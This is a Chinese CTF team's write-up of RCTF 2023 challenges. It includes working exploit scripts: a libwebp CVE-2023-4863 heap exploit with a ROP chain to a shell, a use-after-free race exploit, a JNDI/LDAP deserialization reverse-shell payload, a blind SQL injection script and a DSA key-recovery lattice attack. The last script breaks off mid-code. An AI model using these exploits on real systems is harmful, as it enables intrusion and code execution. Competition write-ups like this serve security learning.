本次 RCTF 2023,我们星盟ctf战队排名第11。

排名 队伍 总分
11 星盟ctf战队 6798.95
12 SAINTSEC 5883.86
13 Er0s1on 5616
14 V&N 5262.4
15 Hor1zon 5041
16 Syclover 5041
17 0RAYS 4944
18 ukfc 4635
19 Scr1w 4267.15
20 S1uM4i 4129.85

Crypto

SignSystem

对于本题来说我们把写成

DSA中有

此时为了消去d,我们用两组数据做线性运算,得到

把已知量加个括号,并且把j设为1,简化等式

把k的形式,代入进去得到

我们是要求,所以为了把的系数变成1,我们乘上。

记

于是

所以有

构造格

这里K是,有个小细节,乘的不一定是4,而是根据low的值来确定的。

exp.py

from random import choices
from hashlib import sha1
from Crypto.Util.number import *
import string
from pwn import *
from sage.all import *
from tqdm import *
import gmpy2
import time

table = string.ascii_lowercase

host = '121.37.182.7'                  #ip地址
port =  10089                              #端口

sh = remote(host,port)                  #建立连接  
sh.recvuntil(b"your pubKey:")

pub = eval(sh.recvline().decode().strip())

p,q,g,y = pub

R = []
S = []
H = []
for i in range(19):
    sh.recvuntil(b">")
    sh.sendline(b"1")
    sh.recvuntil(b"Which message to sign?: ")
    m = "".join(choices(table,k=16))
    msg = m.encode()
    h = bytes_to_long(sha1(msg).digest())
    sh.sendline(msg)
    sh.recvuntil(b"Signature:")
    data1 = eval(sh.recvline().decode().strip())
    r,s = data1
    S.append(s)
    R.append(r)
    H.append(h)


n = len(S)
r0 = R[0]
s0 = S[0]
h0 = H[0]

def sign(pubkey, x, msg, k):
    p, q, g, y = pubkey
    r = pow(g, k, p) % q
    Hm = int(sha1(msg).hexdigest(), 16)
    s = (Hm + x * r) * inverse(k, q) % q
    return (r, s)

for high in trange(256):
    for low in range(4):
        lowbit = low.bit_length()
        A = []
        B = []
        tt = 2**lowbit
        for i in range(1,len(R)):
            a = tt*R[i]*s0 * gmpy2.invert(tt*r0*S[i],q) % q
            b = (r0*H[i] - R[i]*h0 + R[i]*s0*(high*2**152+low) - r0*S[i]*(high*2**152+low)) * gmpy2.invert(tt*r0*S[i],q) % q
            A.append(a)
            B.append(b)
        
        n = len(A)
        Ge = Matrix(ZZ,n+2,n+2)
        for i in range(n):
            Ge[i,i] = q
            Ge[-2,i] = A[i]
            Ge[-1,i] = B[i]
            
        K = 2**150
        Ge[-2,-2] = 1
        Ge[-1,-1] = K
        for line in Ge.BKZ(block_size=30):
            if abs(line[-1]) == K:
                k0_unknown = line[-2]
                k0 = high*2**152 + k0_unknown*tt + low
                d = (k0 * s0 - h0) * gmpy2.invert(r0,q) % q
                if pow(g,d,p) == y:
                    print(1)
                    sig = sign(pub,d,b"get flag",k0)
                    r,s = sig
                    sh.recvuntil(b">")
                    sh.sendline(b"2")
                    sh.recvuntil(b"Which message to verify?: ")
                    sh.sendline(b"get flag")
                    sh.sendlineafter(b"r:",str(r).encode())
                    sh.sendlineafter(b"s:",str(s).encode())
                    print(sh.recvline())

# RCTF{Ev3ry_fighter_h@s_their_signature_style}

Hello,XCTF!

task.py

from Crypto.Util.number import bytes_to_long as b2l, isPrime

p, hello = int(input("p = ")), input("hello = ")
assert p.bit_length() == 100 and isPrime(p)
assert b2l(f"{hello}$".encode()) % p == b2l(b"hello")
assert len(hello) == 64 and all(x.upper() in "XCTF" for x in hello)
print(f'Hello XCTFer! Take your spoils: {open("flag.txt", "r").read()}')

相当于求解

题目的意思相当于告诉我们hello是由X,C,T,F,x,c,t,f组成的长度为64的字符串,而且以$结尾,求解这个同余式

记明文为m,我们可以写成

36是ord('$')

接下来的想法就是构造格,用0,-1,1这样的小量,代替字符,变成一个背包问题

选取点X(88),f(102),t(116)来求a,b使得

这个时候,对于求解

先对c减去36,有

乘上a,有

再依次加上

把左边这个当成一个大的C

构造格

最后注意要在最后一列乘上一个大数。此时

exp.sage

from Crypto.Util.number import *
from tqdm import *
from pwn import *

for _ in trange(100000):
    p = getPrime(100)
    
    c = bytes_to_long(b"hello")
    
    lenth = 64
    c = (c - 36) % p
    for i in range(64):
        c -= 102 * 256^(64-i)
        c %= p
    
    Ge = Matrix(ZZ,lenth+2,lenth+2)
    T = 2**100
    for i in range(lenth):
        Ge[i,i] = 1
        Ge[i,-1] = 14 * 256**(lenth - i)

    Ge[-2,-2] = 1
    Ge[-2,-1] = -c
    Ge[-1,-1] = p
    Ge[:,-1:] *= T

    for line in Ge.BKZ(block_size=30):
        tm = b""
        if line[-1] == 0:
            for i in line[:-2]:
                if i == -1:
                    tm += b"X"
                if i == 0:
                    tm += b"f"
                if i == 1:
                    tm += b"t"
        if len(tm) == 64:
            print(tm.decode())
            print(p)
            sh = remote("121.37.167.239",10089)
            sh.sendlineafter(b"p = ",str(p).encode())
            sh.sendlineafter(b"hello = ",tm)
            print(sh.recvall())

得到的结果,可能出现f,X相反的情况。于是我多试了几组

PWN

TaskGo

多线程菜单题

base::TaskRunner::PostTask启动任务,不同线程负责不同任务。

线程之间存在条件竞争。

这里主要用到两处条件竞争:

  1. CheckMoney中存在 sleep 函数,配合rapids和Magic Castle的购买区别,rapids有sleep延时,Magic Castle没有延时,因此可以构造整数溢出,使得金钱变成一个很大的数值。
bool __fastcall Player::CheckMoney(Player *this, unsigned int a2)
{
 ...
  ptr = g_player.ptr;
 ...
  v3 = ptr->money;
  if ( v3 >= a2 )
  {
    v4 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
           &std::__Cr::cout,
           "\x1B[31m [!] Deducting from your account, Please wait ... \x1B[0m",
           59LL);
 ...
    sleep(1u);
 ...
    v13->money = v12;
 ...
}
  1. NeedsLazyInstance中有nanosleep函数,该任务会根据里面的参数延时启动,但是其任务的参数不变,其参数为Magic_Castle指针,但是在Drop Magic Scroll.中可以释放该指针。因此启动1337功能后,可以立即Drop Magic Scroll.,从而导致UAF漏洞。
void __fastcall MagicCastle::SwitchHandle(player **this)
{
 ...
  if ( (_DWORD)this != 3 )
  {
    if ( (_DWORD)this != 1337 )
      return;
 ...
            if ( g_player.ptr <= (player_inner *)((char *)&dword_0 + 1) )
            {
              if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) )
              {
                *(_OWORD *)&g_player.inner.field_0 = 0LL;
                qword_145030 = 0LL;
                v12 = &g_player.inner;
                qword_145040 = 0LL;
                byte_145048 = 0;
                base::internal::CompleteLazyInstance(
                  &g_player,
                  (__int64)&g_player.inner,
                  0LL,
                  (void (__fastcall *)(void *))&g_player);
              }
              else
              {
                v12 = g_player.ptr;
              }
            }
            Magic_Castle = v12->Magic_Castle;
 ...
            v17[4] = MagicHeld::Gods;
            v17[5] = 0LL;
            v17[6] = Magic_Castle;
            (**v11)(v11, v18, v17, 3000000LL);
            return;
          }
          goto LABEL_41;
        }
 ...

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('1.94.107.129', 10088)

sh.sendlineafter(b'name: \n', b'/bin/sh')
sh.sendlineafter(b'4. Quit.\n>> ', b'1')
sh.sendlineafter(b'>> ', b'3')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'1')
sh.sendlineafter(b'>> ', b'1')

time.sleep(1.1)

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'3')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'2')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'1')
sh.sendlineafter(b'>> ', b'2')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'3')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'2')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'1')
sh.sendlineafter(b'>> ', b'3')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'3')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'1337')

sh.recvuntil(b'>> ')
system_addr = int(sh.recvuntil(b'\n'), 16)
image_addr = int(sh.recvuntil(b'\n'), 16)
success('system_addr: ' + hex(system_addr))
success('image_addr: ' + hex(image_addr))

sh.sendlineafter(b'realm!!!', b'3')

time.sleep(1.1)

sh.sendlineafter(b'4. Quit.\n>> ', b'1')
sh.sendlineafter(b'>> ', b'1')

time.sleep(0.1)

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'1337')

sh.sendlineafter(b'4. Quit.\n>> ', b'2')
sh.sendlineafter(b'>> ', b'2')

time.sleep(0.9)
sh.sendlineafter(b'4. Quit.\n>> ', b'3')

sh.sendlineafter(b'Comments: ', b'a' * 0x28 + p64(system_addr))

sh.interactive()

dwebp

CVE-2023-4863

复现参照:

  # checkout webp
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
cd webp_test/
  # checkout vulnerable version
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
  # enable AddressSanitizer
make -f makefile.unix
cd examples/
  # fetch mistymntncop's proof-of-concept code
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
  # build and run proof-of-concept
gcc -o craft craft.c
./craft bad.webp
  # test trigger file
./dwebp bad.webp -o test.png

根据给出的 poc 写对应的利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def add(index, size, content):
    sh.sendlineafter(b'5. Edit feedback\n> ', b'2')
    sh.sendlineafter(b'> ', str(index).encode())
    sh.sendlineafter(b'feedback?\n', str(size).encode())
    sh.sendlineafter(b'feedback:\n', content)

def show(index):
    sh.sendlineafter(b'5. Edit feedback\n> ', b'3')
    sh.sendlineafter(b'> ', str(index).encode())

def delete(index):
    sh.sendlineafter(b'5. Edit feedback\n> ', b'4')
    sh.sendlineafter(b'> ', str(index).encode())

def edit(index, content):
    sh.sendlineafter(b'5. Edit feedback\n> ', b'5')
    sh.sendlineafter(b'> ', str(index).encode())
    sh.sendlineafter(b'feedback:\n', content)

sh = remote('123.60.91.255', 10088)

add(1, 0x43a0, b'aaaa')
add(2, 0x20, b'bbbb')
delete(2)
add(2, 0x10, b'bbbb')
delete(2)
add(2, 0x20, b'bbbb')

delete(1)
sh.sendlineafter(b'5. Edit feedback\n> ', b'1')
sh.sendlineafter(b'base64:\n', b'UklGRlYBAABXRUJQVlA4TEkBAAAvAAAAABoPwAAAANHc1gcAAAAAAAAAAAAAAAAAAAAAAAAAAACgqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq2bdt/7nseQNEWACS1rTHXBgAAAAAAAAAAAAAAAAAAAAAAAABAVVVVVVVVVVVVVVVVVVVVVVVVVVXVqqqqqqqqqqqqqqqqqqqqqqqqqqrOff97AEVbAJDUtsZcGwAAAAAAAAAAAAAAAAAAAAAAAAAAVVVVVVVVVVVVVVVVVVVVVVVVVVVVq6qqqqqqqqqqqqqqqqqqqqqqqqo69/3vARRtAUBS2xpzbQAAAAAAAAAAAAAAAAAAAAAAAAAAVFVVVVVVVVVVVVVVVVVVVVVVVVVVraqqqqqqqqqqqqqqqqqqqqqqqqrq3Pe/BwAAAMmJJKSqumeSAAAA7N79q6qqAgA=\0')

add(1, 0x100, b'bbbb')
add(1, 0x100, b'bbbb')
show(1)

sh.recvuntil(b'bbbb\n\0\0\0')
libc_addr = u64(sh.recvn(8)) - 0x21ace0
success('libc_addr:' + hex(libc_addr))

edit(2, b'c' * 0x30 + p64(libc_addr + 0x222200) + p64(8))
show(1)
sh.recvuntil(b'Feedback:\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr:' + hex(stack_addr))

edit(2, b'c' * 0x30 + p64(stack_addr - 0x1a0) + p64(0x100))

edit(1, flat(
[
    libc_addr + 0x0000000000029139, #: ret; 
    libc_addr + 0x000000000002a3e5, #: pop rdi; ret; 
    libc_addr + 0x1d8678, # "/bin/sh"
    libc_addr + 0x50d70, # system
]))

sh.interactive()

Web

openYourEyesToSeeTheWorld

这题思路挺简单的,抽象的地方在出题人写的白名单waf。

题目核心就是一个ldap请求,可以连到任意的ldap服务器,任意传参执行search操作

@RestController  
public class DemoController {  
    @RequestMapping(value={"/index"})  
    public String sayHello(@RequestBody Map<String, Object> bean) throws Exception {  
        //  Properties object is created to hold the LDAP configuration.  
        Properties properties = new Properties();  
        String ip = (String)bean.get("ip");  
        Integer port = (Integer)bean.get("port");  
        if (ip.matches("^[0-9.]+$")) {  
            String url = "ldap://" + ip + ":" + port;  
            properties.setProperty("java.naming.provider.url", url);  
            properties.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");  
            String searchBase = (String)bean.get("searchBase");  
            String filter = (String)bean.get("filter");  
            if (searchBase != null && filter != null) {  
                new InitialDirContext(properties).search(searchBase, filter, null);  
            }  
        }  
        return "index";  
    }  
}

问题出在search函数,searchBase参数可以触发到c_lookup,也就是JNDI

函数调用栈

c_lookup:1017, LdapCtx (com.sun.jndi.ldap)
c_processJunction_nns:342, ComponentContext (com.sun.jndi.toolkit.ctx)
c_search_nns:192, ComponentDirContext (com.sun.jndi.toolkit.ctx)
p_search:388, ComponentDirContext (com.sun.jndi.toolkit.ctx)
search:358, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:341, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
search:267, InitialDirContext (javax.naming.directory)
sayHello:34, DemoController (com.example.demo.controller)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1072, DispatcherServlet (org.springframework.web.servlet)
doService:965, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doPost:909, FrameworkServlet (org.springframework.web.servlet)
service:555, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:623, HttpServlet (javax.servlet.http)
internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:51, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:35, RequestWrapperFilter (com.example.demo.controller)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

动调注意到需要获取getHead和getTail,而CompositeName的分隔符是 “/“

然后思路就很明确,JNDI触发LDAP反序列化打Jackson即可,payload如下:

{"ip":"xxx.xxx.xxx.xxx","port":1389,"searchBase":"JacksonReverseShell\u002f","filter":"jasper"}

其实如果filter是 a=b 的格式,searchBase随便设置,也会去请求ldap服务器,但是经过动调发现不是调的lookup,感兴趣可以试一下,在下面这个函数里:

var6 = this.c_search(var5.getHead(), var2, var3, var4);

反弹shell拿flag

what_is_love

根据源码可以知道

图片.png图片.png

key1表的love_key列存了第一部分flag的值 且存在sql注入

key1=jasper’ || love_key REGEXP “^R”#

图片.png

接下来我们找个regexp注入的脚本 因为对payload有字符限制 我们可以用^$分别进行从前 从后读取 到完整的第一部分的flag

import requests  
import string  
  
# flag = "rctf{the_first_step_is_to_ge"  
# flag = step_is_to_get_to_know  
# strs = string.ascii_letters + string.digits + "-{}_"  
strs = "abcdefghijklmnopqrstuvwxyz0123456789-{}_"  
url = "http://1.94.13.174:10088/key1"  
  
  
if __name__ == "__main__":  
    name = ''  
    for i in range(1,40):  
        char = ''  
        for j in strs:  
            # payload = "'||love_key REGEXP '^{}'#"  
            payload = "jasper'||love_key REGEXP '{}$'#"  
            # payload1=payload.format(name+j)  
            payload1 = payload.format(j+name)  
            data={"key1":payload1}  
            r = requests.post(url,data=data)  
            if "success" in r.text:  
                name = j+name  
                print(name)  
                # print(j,end='')  
                char = j  
                break  
        if char =='#':  
            print(name)  
            break

接下来看第二部分

图片.png

可以看见have_lovers为true的时候才能获得flag 我们接着找这个属性在哪会被赋值

找到了

if (
  userInfo.username === my_lover.username &&
  userInfo.love_time === my_lover.love_time
) {
  have_lovers = true;
}

满足这个条件的时候 会得到我们想要的

class My_lover {
  constructor() {
    this.username = process.env.LOVER || "lover";
    this.love_time = parseInt(process.env.LOVE_TIME, 10) || 30;
  }
}

username我们可以就用他默认的lover测试 因为题目名字也和Lover有关系 接下来就是看love_time

我们去搜索parseInt函数

如果传进去的参数是字符串(不带数字)该函数会返回NaN

这个很重要

图片.png

Number 函数会尝试将其转换为数字。如果转换成功,无论原始值是整数、浮点数、科学记数法表示的数字还是某些字符串形式的数字,都会返回相应的数字。如果转换失败,它会返回 NaN

this.love_time = parseInt(process.env.LOVE_TIME, 10) || 30;

因为这段代码 我们猜测假如环境变量的值为非数字字符串,那love_time就是nan

那我们只要输入非数字字符串的love_time都会返回nan 从而结合username我们可以就用他默认的lover测试

绕过 于是我们本地伪造

图片.png

Misc

Logo: Signin

直接logo 贴进去就行了:

ROIS_LOGO = """
####################################################################################################
############################ # #####################################################################
####   ##       ########### ## ##          ###########                   ########             ######
####   ##           #########               ##########                   ######                  ###
####   ########       ########     ##########################    #############    ############    ##
####   ###########     ######    ###########   ##############    ############    ###################
###    #############    #####    ###########    #############    ############    ###################
###    ##############   ####    #############   #############   #############    ###################
###    ##############    ###    #############    ############   ##############     #################
###    ##############    ###   ###############   ############   ###############      ###############
###    ##############   ####   ###############   ############   #################      #############
###    #############    ####   ###############   ###########    ####################      ##########
###    ############    #####   ###############   ###########    ######################     #########
###    ####           ######   ##############    ###########    ########################     #######
###    ####         ########    #############    ###########    ##########################    ######
###    #########    #########   #############   ############    ##########################    ######
###    ##########    ########    ###########   #############    ##########################    ######
###    ###########    ########    #########    #############    #############    #########    ######
###    ############   #########     ######   ############       ###############     ####     #######
###   ############## ###########         ############                  #########           #########
#### ###############################  ##############################################    ############
####################################################################################################
""".strip()

Logo: 2024

二进制+36进制+长度编码压缩数据

d="";i=0;c="#";k="#"*100
while i<1175:d=d+int(f'{int("2csqv07nenmzp688vu2h9hs4iebn0zyy42m6kr0f7hvhtoq5l8gw562kyv7kx3g8njr9ilqgfjsjmisedy8ztiryeamwjwmf32xmxty9heqf0vca7sospweayrfra3wgfzt2vyi9ih0szfu10cf0de28cmeio733y8pco9snt8d91uru5bpslt3em5upwl5udj3fqz7h0wqubi9nfrsjwvlz50y6zf52uh70",36):b}'[i:i+5],2)*c;c=' 'if c=='#'else'#';i=i+5
f=k+"\n";i=0
while i<2000:f=f+d[i:i+100]+'\n';i=i+100
f=f+k;logo=f[:157]+"#"+f[158:178]+"#"+f[179:2081]+"#"+f[2082:]

s1ayth3sp1re

直接反编译找到 >3000的分支就能找到解密函数了

unsigned char iArr[] = { 164, 158, 95, 107, 4, 215, 108, 115, 5, 8, 25, 57, 41, 236, 231, 17, 85 };
unsigned char iArr2[] = { 246, 221, 11, 45, 127, 148, 45, 36, 70, 73, 78, 8, 98, 141, 140, 112, 40 };
unsigned char res2[100];
res2[17] = 0;
for (int i = 0; i < 17; i++) {
    res2[i]=(iArr[i] ^ iArr2[i]);
}//0x000000ffce4ff350 "RCTF{CAWCAW1Kaka}"

RE

2048

一个 2048 游戏,得分足够多就会给 flag,初始得分有 10000 ,算了一下如果每次都拉满的话,赢个 7-8次应该就直接足够了,直接暴力写一个脚本 awds 遍历,运气好的话很快就成了:

from pwn import *
import time
context.log_level="debug"
#p=process("./2048")
p=remote("1.94.104.104",10088)

p.recvuntil("exit\n")
p.sendline("1")
p.recvuntil(": ")
p.sendline("10000")

pad=["a","w","d","s"]

index=0
while 1:
    res=p.recvuntil("or r",timeout=1)
    if len(res)==0:
        break
    p.sendline(pad[index%4])
    index+=1

p.recvuntil("your current score: ")
point=int(p.recvuntil("\n")[:-1])
p.sendline("1")
p.recvuntil(": ")
p.sendline(str(point))

index=0
while 1:
    res=p.recvuntil("or r",timeout=1)
    if len(res)==0:
        break
    p.sendline(pad[index%4])
    index+=1


for i in range(100):
    index=0
    while 1:
        res=p.recvuntil("or r",timeout=1)
        if len(res)==0:
            break
        p.sendline(pad[index%4])
        index+=1
    end=input()
    if "fuck" in end:
        break
    p.recvuntil("your current score: ",timeout=1)
    point=int(p.recvuntil("\n",timeout=1)[:-1])
    p.sendline("1")
    p.recvuntil(": ")
    p.sendline(str(point))
p.interactive()

不出所料跑了几次直接三百万分了….

bloker_vm

一个虚拟机,但是 opcode 的来源不太清楚,但是看了一遍发现都是 xor 操作,于是直接上单字节爆破就行了:

import subprocess
import string
string.printable
 
from colorama import init
init(autoreset=True)
printable = b"`abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^{|}~"

import frida, sys
number = 23
new_number = 0
def is_right():
    global new_number,number
    if new_number > number:
        number = new_number
        return True
    else:
        return False
         
def on_message(message, data):
    global new_number
    print(message)
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
        new_number = message['payload']
        #print(message['payload'])
        # val = int(message['payload'], 16)
        # script.post({'type': 'input', 'payload': str(val * 2)})
    elif message['type'] == "error":
        print(message["description"])
        print(message["stack"])
        print(message["fileName"],"line:",message["lineNumber"],"colum:",message["columnNumber"])
    else:
        print(message)

jscode = open("test.js","rb").read().decode()
import subprocess

flag = b"RCTF{a_baby_debug_blok"
for index in range(len(flag),25):
    # for i in range(32,128):
    for i in range(len(printable)):
        process = subprocess.Popen("bloker_vm.exe",
                                stdin=subprocess.PIPE,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE,bufsize=0
                                )
        tmp_flag = (flag+printable[i:i+1]).ljust(24,b"A")+b"}\n"
        print(tmp_flag)
        print("try index:",index ,"chr :",i)
        session = frida.attach("bloker_vm.exe")
        script = session.create_script(jscode)
        script.on('message', on_message)
        print('[*] Start attach')
        script.load()
        process.stdin.write(tmp_flag)
        output, error = process.communicate()
        print(output)
        if(is_right() == True):
            flag  +=(printable[i:i+1])
            print(flag)
            break
        process.terminate()

但是最后两个字节一直爆不出来,爆到 RCTF{a_baby_debug_blok 之后它就没办法继续了,直接再写一个脚本爆破就行了:

import subprocess
import string
string.printable
 
from colorama import init
init(autoreset=True)
printable = b"`abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^{|}~"

import subprocess

flag = b"RCTF{a_baby_debug_blok"
for index in range(len(flag),25):
    # for i in range(32,128):
    for i in range(len(printable)):
        for j in range(len(printable)):

            process = subprocess.Popen("bloker_vm.exe",
                                    stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE,bufsize=0
                                    )
            tmp_flag = (flag+printable[i:i+1]+printable[j:j+1]).ljust(24,b"A")+b"}\n"
            print(tmp_flag)
            print("try index:",index ,"chr :",i)
            process.stdin.write(tmp_flag)
            output, error = process.communicate()
            print(output)
            if b"try" in output:
                continue
            else:
                print("find ok!")
                print(tmp_flag)
                exit(0)
            process.terminate()

PPTT

还是爆破……随便输入点啥把结果抓出来然后按照 strcmp 的表恢复顺序,然后就只有 7 个字节未知了,直接开始爆破就行了。不过 strcmp 被 hook 了,比较的时候会改字符,这个需要另外注意一下即可,然后就是开爆:

v23=0x6d61657971007000
v24=0x5200007b75005473
v25=0x00706a004674437d
for i1 in range(0x12,128):
    v23=0x6d61657971007000+i1
    v24=0x5200007b75005473
    v25=0x00706a004674437d
    if ((v23 - v24)&0xff) == (0x1AEFF6FDFC121BF1&0xff):
        for i2 in range(0x12,128):
            v23=0x6d61657971007000+i1
            v24=0x5200007b75005473
            v25=0x00706a004674437d
            v23+=(i2<<16)
            v24+=((i2-0x12)<<16)
            v20 = v24 & v23
            v19 = (v24 & v23 | v25 & v23) + 0x10086
            v18 = (v25 & v23 ^ v25 & v24) - 0x114514
            v17 = v24 & v23 ^ v25 & v23
            if ((v23 - v24)&0xffffff) == (0x1AEFF6FDFC121BF1&0xffffff):
                if ((v18 ^ (v19 - v20))&0xffffff) == (0x2100A0203EFBB8B&0xffffff):
                    if  ((v17 ^ v19 ^ v20)&0xffffff) == (0x4083102108E&0xffffff):
                        if ( ((v19 ^ v17) - v18)&0xffffff) == (0x1551566F3C6485ED&0xffffff):
                            if ( (v18 ^ v19 ^ v25 & v24)&0xffffff) == ( 0x40836ECAB9A&0xffffff):
                                for i3 in range(0x12,128):
                                    v23=0x6d61657971007000+i1
                                    v24=0x5200007b75005473
                                    v25=0x00706a004674437d
                                    v23+=(i2<<16)
                                    v24+=((i2-0x12)<<16)
                                    v25+=(i3<<32)
                                    v20 = v24 & v23
                                    v19 = (v24 & v23 | v25 & v23) + 0x10086
                                    v18 = (v25 & v23 ^ v25 & v24) - 0x114514
                                    v17 = v24 & v23 ^ v25 & v23

                                    if ((v23 - v24)&0xffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffff):
                                        if ((v18 ^ (v19 - v20))&0xffffffffff) == (0x2100A0203EFBB8B&0xffffffffff):
                                            if  ((v17 ^ v19 ^ v20)&0xffffffffff) == (0x4083102108E&0xffffffffff):
                                                if ( ((v19 ^ v17) - v18)&0xffffffffff) == (0x1551566F3C6485ED&0xffffffffff):
                                                    if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffff) == ( 0x40836ECAB9A&0xffffffffff):
                                                        for i4 in range(0x12,128):
                                                            v23=0x6d61657971007000+i1
                                                            v24=0x5200007b75005473
                                                            v25=0x00706a004674437d
                                                            v23+=(i2<<16)
                                                            v24+=((i2-0x12)<<16)
                                                            v25+=(i3<<32)
                                                            v24+=(i4<<40)
                                                            v20 = v24 & v23
                                                            v19 = (v24 & v23 | v25 & v23) + 0x10086
                                                            v18 = (v25 & v23 ^ v25 & v24) - 0x114514
                                                            v17 = v24 & v23 ^ v25 & v23
                                                            if ((v23 - v24)&0xffffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffffff):
                                                                if ((v18 ^ (v19 - v20))&0xffffffffffff) == (0x2100A0203EFBB8B&0xffffffffffff):
                                                                    if  ((v17 ^ v19 ^ v20)&0xffffffffffff) == (0x4083102108E&0xffffffffffff):
                                                                        if ( ((v19 ^ v17) - v18)&0xffffffffffff) == (0x1551566F3C6485ED&0xffffffffffff):
                                                                            if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffffff) == ( 0x40836ECAB9A&0xffffffffffff):
                                                                                
                                                                                for i5 in range(0x12,128):
                                                                                    v23=0x6d61657971007000+i1
                                                                                    v24=0x5200007b75005473
                                                                                    v25=0x00706a004674437d
                                                                                    v23+=(i2<<16)
                                                                                    v24+=((i2-0x12)<<16)
                                                                                    v25+=(i3<<32)
                                                                                    v24+=(i4<<40)
                                                                                    v24+=(i5<<48)
                                                                                    v20 = v24 & v23
                                                                                    v19 = (v24 & v23 | v25 & v23) + 0x10086
                                                                                    v18 = (v25 & v23 ^ v25 & v24) - 0x114514
                                                                                    v17 = v24 & v23 ^ v25 & v23
                                                                                    if ((v23 - v24)&0xffffffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffffffff):
                                                                                        if ((v18 ^ (v19 - v20))&0xffffffffffffff) == (0x2100A0203EFBB8B&0xffffffffffffff):
                                                                                            if  ((v17 ^ v19 ^ v20)&0xffffffffffffff) == (0x4083102108E&0xffffffffffffff):
